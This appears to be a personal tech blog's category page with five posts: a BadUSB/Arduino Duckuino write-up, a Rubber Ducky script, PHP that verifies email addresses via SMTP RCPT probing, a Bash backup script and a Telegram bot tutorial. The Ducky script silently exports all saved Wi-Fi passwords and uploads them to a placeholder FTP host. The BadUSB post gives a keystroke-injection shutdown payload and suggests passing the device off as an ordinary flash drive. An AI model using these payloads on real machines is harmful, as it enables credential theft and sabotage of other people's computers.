Category:Functions

Found 36 records. At Page 1 / 8.

BadUSB 初體驗 Arduino Duckuino Hid Keyboard Attack

-
更新於

最近不知道為啥,突然心血來潮一直想要來編譯 USB隨身碟,做一支 BadUSB,遺憾的是一直找不到目標型號的控制器(Controller)。後來搜尋,沒想到網路上竟然已經有賣類似功能的東西了!

BadUSB 顧名思義就是壞的 USB 碟,會執行一些程式碼,可能會讓電腦受損,而這類攻擊都是需要實體插入電腦裡面的,並且,防毒軟體有很大機率是掃描不到,程式碼都是在閃存控制器(Flash Memory Controller)裡面,除非很底層的軟體,否則幾乎是碰不到那區塊。

雖然一般隨身碟拿來修改的話,價格比較便宜,但是不太好操作,真正的 Rubbery Ducky 又太貴了,買不起。網路上的 Arduino 做成的微型控制器比較便宜一點。很久以前也有萌生用 Arduino 實作的想法,不過太醜了,就是一塊電路板,沒有殼,網路上找不太到賣殼的,而現在我找到的真的很精美,不是 MicroUSB 所以連轉接都不用,於是乎買來體驗一下。僅僅是測試,至於啥麼用途,可以自由發揮,例如:騙別人這是普通的隨身碟之類的,插上去就立刻變身成鍵盤執行惡意代碼。

上圖即是我網購的帶有 Arduino ATmega32U4 控制器的 USB,外觀就像正常的隨身碟,不是所有 Arduino 都可以當成鍵盤用,例如 Arduino Nano 就不行。

這樣一來就可以把 Arduino 當成 Rubbery Ducky 使用,直接實行 Hid Keyboard Attack。網路上已經有教學文章可以直接將 Rubbery Ducky 的程式碼 轉為 Arduino專用的程式碼。這樣就不太需要自己修改。

可以參考:https://github.com/Nurrl/Duckuino

DELAY 2000
GUI r
DELAY 100
SHIFT
STRING cmd
ENTER
DELAY 100
STRING shutdown -t 0 -y -s
ENTER

以上是我編譯的 Script Example,用途是立刻將電腦關機,當我實際運行時有遇到不少麻煩,好像開不了 Windows Key + R Key,最後解決方法是把

Keyboard.press("r"); 
換成
Keyboard.press('r');

就這個單雙引號害我 Debug 好久,加上 Delay 好像也沒用。覺得奇特。

運行結果如下方影片:

By Weil Jimmer


This entry was posted in Arduino, C, Experience, Functions, General, Note By .

WiFi Password Graber Rubber Ducky Script for win10

-
更新於

GUI r
DELAY 500
SHIFT
STRING cmd
ENTER
DELAY 500
SHIFT
DELAY 750
STRING cd %USERPROFILE%/Desktop
ENTER
STRING md wifi_pwd
ENTER
STRING cd wifi_pwd
STRING netsh wlan export profile key=clear
ENTER
STRING copy /b Wi-Fi*.xml wifi_pwd.xml
ENTER
STRING MOVE /Y wifi_pwd.xml ./../wifi_pwd.xml
ENTER
STRING cd ..
ENTER
STRING rmdir /Q /S wifi_pwd
ENTER
STRING ftp FTP.HOST.ORG
DELAY 750
STRING USERNAME
DELAY 750
STRING PASSWORD
ENTER
DELAY 750
STRING put wifi_pwd.xml
ENTER
DELAY 5000
STRING quit
ENTER
STRING exit
ENTER

This rubber ducky script will automatically create a FILE which consist of all the wifi password in target computer you pluged in usb.

Also, upload a wifi-password to ftp server.

Note: this script can't bypass Windows Firewall Msgbox!


This entry was posted in General, Functions, Note, The Internet, Wi-Fi By .

不用寄信 檢查 Email 是否 真實 存在 PHP

-
更新於

最近很常研究 Email,由於是自己架設伺服器,比較麻煩,所以更深入研究了一下下。

今天想到就寫一篇,真實檢查 Email 的方法,因為這個不是驗證 Email 格式與否,而是直接驗證 此Email是否存在,並且無須寄信即可以檢查。

首先先查詢 Email @後域名的MX紀錄,再查此IP,得到 IP 後即可透過 TCP 連線至該 SMTP 伺服器驗證以確立此 Email 確實存在,而不是亂打的。

//Check email is exist
var_dump(check_is_email_real_exist("test@example.com"));

function check_is_email_real_exist($email_address){
	if ((!filter_var($email_address, FILTER_VALIDATE_EMAIL)===false) and strlen($email_address)<=254){
		$emailxx=explode('@',$email_address);
		$dns_lookup_result=dns_get_record($emailxx[1],DNS_MX);
		if (count($dns_lookup_result)==0){
			return false;
		}else{
			$address=gethostbyname($dns_lookup_result[0]['target']);
			if ($address!=''){
				$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
				if ($socket === false) {
					echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
					return false;
				}
				$result = socket_connect($socket, $address, 25);
				if ($result === false) {
					echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
					return false;
				}
				$in = "HELO hi\r\n";
				socket_write($socket, $in, strlen($in));
				if(substr(socket_read($socket, 2048),0,3)=='220'){
					$in = "MAIL FROM:<thisistest@gmail.com>\r\n";
					socket_write($socket, $in, strlen($in));
					if(substr(socket_read($socket, 2048),0,3)=='250'){
						$in = "RCPT TO:<$email_address>\r\n";
						socket_write($socket, $in, strlen($in));
						if(substr(socket_read($socket, 2048),0,3)=='250'){
							$in = "QUIT\r\n";
							socket_write($socket, $in, strlen($in));
							if(substr(socket_read($socket, 2048),0,3)=='250'){
								return true;
							}else{
								return false;
							}
						}else{
							return false;
						}
					}else{
						return false;
					}
				}else{
					return false;
				}
			}else{
				return false;
			}
		}
	}else{
		return false;
	}
}

代碼醜陋,請各位看官不要介意。


This entry was posted in Experience, Functions, General, PHP By .

Bash 自動備份網站與異地備份

-
更新於

這是我現在所用的方法,直接分享出來,備份壓縮網站資料與資料庫十日,自動刪除近十日之外的檔案。

建立一個 backup.sh 檔案,內容如下:(FTP地址帳密、網站路徑、資料庫密碼…要自己修改一下)

#!/bin/sh

THESITE="example.com"
THEDATE=$(date +%Y-%m-%d_%H_%M_%S)

mysqldump --defaults-file=/home/user/secret.cnf --user=root --host=localhost --all-databases | gzip > /var/www/$THESITE/backup/db_$THEDATE.sql.gz

tar czf /var/www/$THESITE/backup/site_${THEDATE}.tar /var/www/$THESITE/public_html/
gzip /var/www/$THESITE/backup/site_${THEDATE}.tar

find /var/www/$THESITE/backup/site* -mtime +10 -exec rm {} \;
find /var/www/$THESITE/backup/db* -mtime +10 -exec rm {} \;

echo "OK"

ftp -n 31.170.xxx.xxx <<End-Of-Session
user USERNAME "PASSWORD"
binary
cd /public_html/backup/secret_path
put "/var/www/$THESITE/backup/db_$THEDATE.sql.gz" "db_backup.sql.gz"
put "/var/www/$THESITE/backup/site_${THEDATE}.tar.gz" "site_backup.tar.gz"
bye
End-Of-Session

wget http://backupsite.com/ -O /tmp/keep_online
rm /tmp/keep_online

創一個文檔在 /home/user/secret.cnf (或你喜歡的地方),然後設定權限 400 或 600 內容填入如下。

[client]
password="MYSQL_PASSWORD"

最後 在終端機 打指令

crontab -e

在最下面加入:(設定定時任務,零時零分自動備份網站並透過FTP外寄出去)

0 0 * * * sh /the_path_you_want/backup.sh

這樣就可以完成幾乎全自動的備份。


This entry was posted in Bash, Experience, Functions, General, Note, WebHosting By .

淺談Telegram開發機器人

-
更新於

我做了一個很簡單的計時器,為了某群組裡面的高中生而設計,這也是我首次製作 tg 的機器人。我才做兩個而已,所以有些功能我真的不知道的我也沒辦法為您解答。

以下是講我的經歷:

首先必須先註冊個telegram帳號(廢話),然後搜索聯繫人@BotFather 這很重要,加入這個機器人之後,首先輸入:/newbot ,然後再輸入你想要取的名子(可以是中文),接著系統會提示你再輸入用戶名稱,結尾必須是 bot ,而且僅英文數字以及下畫線,接著你的機器人就創立了,BotFather會告訴你,你的Token,這很重要,因為等下傳送或是接收訊息都要用到這組文字。

開始就是程式設計的部分,我個人是比較熟PHP,所以用PHP開發。而且還是改寫自官方的腳本。但我現在已經明白原理了。

<?php

define('BOT_TOKEN', 'BotFather給你的Token');
define('API_URL', 'https://api.telegram.org/bot'.BOT_TOKEN.'/');

//這些AppFunction和處理資料有關係,我是覺得直接Copy就好了。
function apiRequestWebhook($method, $parameters) {
  if (!is_string($method)) {
    error_log("Method name must be a string\n");
    return false;
  }

  if (!$parameters) {
    $parameters = array();
  } else if (!is_array($parameters)) {
    error_log("Parameters must be an array\n");
    return false;
  }

  $parameters["method"] = $method;

  header("Content-Type: application/json");
  echo json_encode($parameters);
  return true;
}

function exec_curl_request($handle) {
  $response = curl_exec($handle);

  if ($response === false) {
    $errno = curl_errno($handle);
    $error = curl_error($handle);
    error_log("Curl returned error $errno: $error\n");
    curl_close($handle);
    return false;
  }

  $http_code = intval(curl_getinfo($handle, CURLINFO_HTTP_CODE));
  curl_close($handle);

  if ($http_code >= 500) {
    // do not wat to DDOS server if something goes wrong
    sleep(10);
    return false;
  } else if ($http_code != 200) {
    $response = json_decode($response, true);
    error_log("Request has failed with error {$response['error_code']}: {$response['description']}\n");
    if ($http_code == 401) {
      throw new Exception('Invalid access token provided');
    }
    return false;
  } else {
    $response = json_decode($response, true);
    if (isset($response['description'])) {
      error_log("Request was successfull: {$response['description']}\n");
    }
    $response = $response['result'];
  }

  return $response;
}

function apiRequest($method, $parameters) {
  if (!is_string($method)) {
    error_log("Method name must be a string\n");
    return false;
  }

  if (!$parameters) {
    $parameters = array();
  } else if (!is_array($parameters)) {
    error_log("Parameters must be an array\n");
    return false;
  }

  foreach ($parameters as $key => &$val) {
    // encoding to JSON array parameters, for example reply_markup
    if (!is_numeric($val) && !is_string($val)) {
      $val = json_encode($val);
    }
  }
  $url = API_URL.$method.'?'.http_build_query($parameters);

  $handle = curl_init($url);
  curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 5);
  curl_setopt($handle, CURLOPT_TIMEOUT, 60);

  return exec_curl_request($handle);
}

function apiRequestJson($method, $parameters) {
  if (!is_string($method)) {
    error_log("Method name must be a string\n");
    return false;
  }

  if (!$parameters) {
    $parameters = array();
  } else if (!is_array($parameters)) {
    error_log("Parameters must be an array\n");
    return false;
  }

  $parameters["method"] = $method;

  $handle = curl_init(API_URL);
  curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 5);
  curl_setopt($handle, CURLOPT_TIMEOUT, 60);
  curl_setopt($handle, CURLOPT_POSTFIELDS, json_encode($parameters));
  curl_setopt($handle, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));

  return exec_curl_request($handle);
}

//上面的程式碼都建議直接Copy拿來用

//我自己的程式碼開始

$target_times=1465772400;
$msg = '距離【畢業典禮】還有'."\n".floor(($target_times-time())/86400).'天'.floor((($target_times-time())%86400)/3600).'時'.floor(((($target_times-time())%86400)%3600)/60).'分'.(((($target_times-time())%86400)%3600)%60).'秒!';

if (time()>$target_times){
	$msg="";
}

$target_times=1467327600;
$msg .= "\n".'距離【指考】還有'."\n".floor(($target_times-time())/86400).'天'.floor((($target_times-time())%86400)/3600).'時'.floor(((($target_times-time())%86400)%3600)/60).'分'.(((($target_times-time())%86400)%3600)%60).'秒!';

if (time()>$target_times){
	$msg="";
}


//處理開始函數,傳入$msg是因為我這個程式的功能所需,並非必要
function processMessage($message,$msg) {
  // process incoming message
  $message_id = $message['message_id'];
  $chat_id = $message['chat']['id'];
  if (isset($message['text'])) {
    // incoming text message
    $text = $message['text'];

    if ($text === "/start" or $text === "/start@botusername"){
		if ($msg!=""){
			apiRequestJson("sendMessage", array('chat_id' => $chat_id, "text" => $msg."\n聊天室ID:".$chat_id));
		}
    } else if ($text === "/show" or $text === "/show@botusername") {
		if ($msg!=""){
			apiRequestJson("sendMessage", array('chat_id' => $chat_id, "text" => $msg));
		}
    } else if (strpos($text, "/stop") === 0) {
	// stop now
    } else {
	// 其他指令或訊息
    }
  }
}

if (php_sapi_name() == 'cli') {
  // if run from console
  //這是為了定時任務的區別,如果是從Crontab跑,就從這邊
	if ($msg!=""){
		apiRequestJson("sendMessage", array('chat_id' => '00000000000', "text" => $msg));
	}
  exit;
}


$content = file_get_contents("php://input"); //讀取資料 (In)
$update = json_decode($content, true); //JSON解析

if (!$update) {
  // receive wrong update, must not happen
  // 接收到錯誤訊息
  exit;
}

if (isset($update["message"])) {
  //接收到正確訊息,調用處理函數
  processMessage($update["message"],$msg);
}

程式碼都獻上了,現在開始講原理。

首先必須要有一台服務器,來執行WebHook,把你寫好的PHP檔案上傳到伺服器上面,注意檔名最好建立很特殊的名稱,讓一般使用者無法猜到你用什麼檔名,以預防惡意人士直接訪問你的程式。(洪水轟炸,或偽造請求之類的。)

上傳後,請直接訪問 https://api.telegram.org/bot{TOKEN}/?method=setWebhook&url=https://www.example.com/{secret}bot.php

例如:
https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAA/?method=setWebhook&url=https://www.example.com/secret_random_path/bot.php

參數url後面接的就是你要接收的位置,僅支援https,完畢後一旦直接對bot講話輸入指令,telegram就會立刻送出對話內容傳到你的程式,而你的程式處理完之後再回傳給telegram,這就是它的工作原理。

得到的內容長得像:(已經被解析的Object["message"])

(
    [message_id] => 01
    [from] => Array
        (
            [id] => 123456789
            [first_name] => Nickname
            [username] => username
        )

    [chat] => Array
        (
            [id] => -123456789
            [title] => test
            [type] => group
        )

    [date] => 1464504645
    [text] => /say I just say?
    [entities] => Array
        (
            [0] => Array
                (
                    [type] => bot_command
                    [offset] => 0
                    [length] => 17
                )

        )

)

簡單明瞭,這只是message的部分,有可能會出現其他資料,例如傳圖片,有人加入群組時,就會不同了,請參閱 telegram 文檔,https://core.telegram.org/bots/api。

而我的設計是當使用者輸入 /start 時,就會回傳 聊天室 id,因為我需要 id 才可以讓我直接發訊息回去,否則必須每次都是被動型傳輸,這樣我就可以主動傳送了,因為我不需要依靠對方先傳訊息給我才可以取得 id 回傳。

而我設定輸入指令 /show 時 就會彈出距離目標時間還有多久。而且利用 cron job 定時任務,每天都會 run 這程式發送一次倒數訊息。這就是整個簡單的概念。

接下來,在 tg 上就可以直接操作並直接顯示結果了,唯一缺陷就是沒有指令選單。這時可以再向 BotFather設定,輸入 /setcommands,再輸入 @botname,指令(英文)+空格+簡介。(可以多行輸入)

最終預防機器人被濫用亂加入群組,可以設定鎖定,/setjoingroups → @botname → Disable。

這樣就大功告成了。其他功能自己探索,其實很簡單的。


This entry was posted in Experience, Functions, General, Note, PHP, Software By .